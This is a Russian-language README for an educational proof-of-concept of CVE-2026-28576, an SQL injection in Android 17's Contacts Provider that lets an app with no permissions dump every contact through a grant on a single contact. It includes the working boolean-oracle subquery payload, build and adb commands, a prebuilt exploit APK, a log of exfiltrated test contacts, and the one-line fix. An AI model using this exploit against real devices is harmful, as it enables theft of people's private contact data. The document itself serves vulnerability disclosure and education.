
Образовательный proof-of-concept, демонстрирующий уязвимость SQL-инъекции в Contacts Provider Android 17, позволяющую приложению без каких-либо разрешений выгружать всю базу контактов через предоставление доступа к URI одного контакта.
Один выбранный контакт — все контакты: совместимость targetSdk превращает грант на выбор одного контакта в полный дамп базы контактов.
Android 17 ужесточил защиту Contacts Provider от SQL-инъекций с помощью setStrictColumns() / setStrictGrammar() — но выпустил это ужесточение за совместимым изменением, привязанным к targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Любое приложение с targetSdk 36 или ниже молча пропускает строгие проверки и может прятать булевы оракульные подзапросы в selection запроса, чтобы прочитать всю базу контактов через грант на URI одного контакта. Без READ_CONTACTS, вообще без каких-либо разрешений.
Примечание: Мы не обнаружили эту уязвимость. Этот репозиторий содержит наш независимый анализ, воспроизведение и образовательный PoC, чтобы помочь сообществу специалистов по безопасности понять класс этой ошибки: исправления безопасности, скрытые за
@EnabledAfter(targetSdkVersion), оставляют все приложения с устаревшим targetSdk на уязвимом пути.
Полный разбор со скриншотами и демо-видео: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoC-приложение для эксплуатации (UI + системный выбор контактов)
│ ├── src/ # MainActivity.java — выбор контакта + булев оракульный эксплойт
│ ├── AndroidManifest.xml # НОЛЬ разрешений, targetSdk 36
│ └── build.sh # Сборка без gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # Готовый PoC APK (подписан debug-ключом, готов к установке)
├── REPRODUCE.md # Полное пошаговое руководство по воспроизведению
├── evidence-*.log # Захваченные уязвимые / исправленные запуски
└── README.md
Вам понадобится эмулятор Android 17 с уровнем патча безопасности до 2026-07-01
(мы использовали AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — бета-образ, который всё ещё содержит уязвимый совместимый гейт).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Проверяем, что уровень патча до исправления
adb shell getprop ro.build.version.security_patch
# Добавляем несколько контактов-жертв (от имени shell, у которого есть разрешения на контакты)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Полное наполнение контактами и оба варианта запуска — в REPRODUCE.md.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
На экране:
checkUriPermission -> 0), и тот единственный контакт, который ему легально разрешено видеть.Требуется Android SDK (build-tools 36.0.0, platform android-37.0) и JDK 17. Gradle не нужен:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, БЕЗ разрешений)
Слой грантов работает корректно. Системный выбор контактов в Android 17 выдаёт приложению грант на URI только одного контакта в режиме чтения: content://com.android.contacts/contacts/lookup/<key>/1. Любой другой прямой запрос отклоняется с SecurityException.
Слой SQL — нет. Поскольку PoC нацелен на SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) возвращает false, и провайдер пропускает setStrictColumns() / setStrictGrammar(). Постоянно включённая обёртка setStrict(true) в скобки останавливает только прорывы из клаузы вроде ') OR 1=1 --; против сбалансированных подзапросов она бессильна.
Булева оракульная инъекция. Приложение выполняет обычный на вид запрос к своему гранту на URI со скрытой подзапросом в selection:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
На уязвимой сборке Android 17 приложение без единого разрешения выгружает все имена, номера телефонов и email через грант на один контакт (см. evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
Исправление переключает изменение 484953293 на применение ко всем вызывающим независимо от targetSdk — удаляется одна аннотация (публичный вариант: коммит GrapheneOS c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Вы можете воспроизвести точное исправленное поведение на уязвимой сборке без прошивки:
adb shell am compat enable 484953293 com.poc.cve202628576
# Тот же запрос теперь умирает до обращения к SQLite:
# IllegalArgumentException: Invalid token SELECT
См. evidence-patched-run.log.
Анализ и PoC — Mobile Hacking Lab. Мы независимо воспроизвели эту уязвимость в образовательных целях.
Эта proof-of-concept предоставлена только для образовательных и авторизованных исследовательских целей в области безопасности. Используйте её исключительно на устройствах и в окружениях, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за любое неправомерное использование.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Серьёзность | Высокая в бюллетене; в рекомендациях GitHub оценка CVSS v4 10.0 (критическая) — возможно, завышена с учётом предусловий |
| Компонент | Contacts Provider (ContactsProvider2.queryLocal()) |
| Корневая причина | Совместимое изменение ENFORCE_STRICT_SQL_CHECKS, скрытое за @EnabledAfter(BAKLAVA) |
| Воздействие | Любое приложение с грантом на URI одного контакта читает всю базу контактов без READ_CONTACTS |
| Затронуто | Android 17, уровень патча безопасности < 2026-07-01 |
| Исправлено | Бюллетень безопасности Android 17 |
Если угаданный символ совпадает, грантовая строка возвращается (cursor.getCount() == 1); в противном случае курсор пуст. Один запрос на каждое угадывание символа, перебор по LIMIT 1 OFFSET k для каждой строки и mimetype — номер телефона подбирается меньше чем за секунду, а вся база — значительно быстрее, чем за минуту.